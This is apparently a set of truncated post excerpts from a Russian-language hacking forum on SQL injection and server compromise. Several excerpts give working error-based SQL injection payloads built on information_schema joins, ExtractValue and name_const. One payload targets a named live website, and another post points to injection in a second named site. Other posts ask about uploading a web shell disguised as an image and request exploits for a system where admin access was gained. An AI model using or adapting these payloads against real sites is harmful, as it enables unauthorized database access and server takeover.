Separate names with a comma.
del×
1'and(1)=(select*from(select*from(information_schema.tables`a`)JOIN(information_schema.tables`b`)using(TABLE_CATALOG,TABLE_SCHEMA))c)='1 1060:...
delete
Подскажите, кто-нибудь пользовался данной багой? Если наглядный пример использования?...
Вопрос следующего плана: заливка шелла через картинку. Скрипт только переименовывает файлы в порядковый_номер.jpg Изменить расширение не...
от части. оператор like - это смысловой оператор. но с грехом по пополам - можно работать. хотя, я посмотрю. где-то увидел интересный шаблон, там...
tnx а как Вам такая реализация? 1'or(ExtractValue(1,concat(0x3a,(select(concat(tab le_schema,'.',table_name))from(information_schema....
Про ф-цию ExtractValue, спасибо. Она работает в старших версиях. Но вот в...
http://allinstyle.ru/?index.php'or(select*from(select(name_const(versio n(),1)),name_const(version(),1))a)and(1)='1...
У меня вот это никак не крутится ни руками, ни софтом. Там вообще есть что-нибудь? http://develop.belta.by/{тут инъекция, видно через ОПЕРУ}...
Господа, может кто сталкивался с этой системой: apisic web - написана на jsp. сервак вин2к. база оракл. есть доступ в админку. Сайт разраба....
Ну есть. Нужна инфа? Стукни в личку. Но это не майл.ру. Там с безопасностью построже в разы ;). Но с гуглом не сравиниться конечно же.
iptables и ipconfig не выполняются на серваке :mad:
можно ссыль, плиз, на сам сплойт. ветку простмотрел всю тут и там. ничего не слышал + то что Вы скинули, там сплойты 1996-2004 годов....
думаю, что там нет :mad: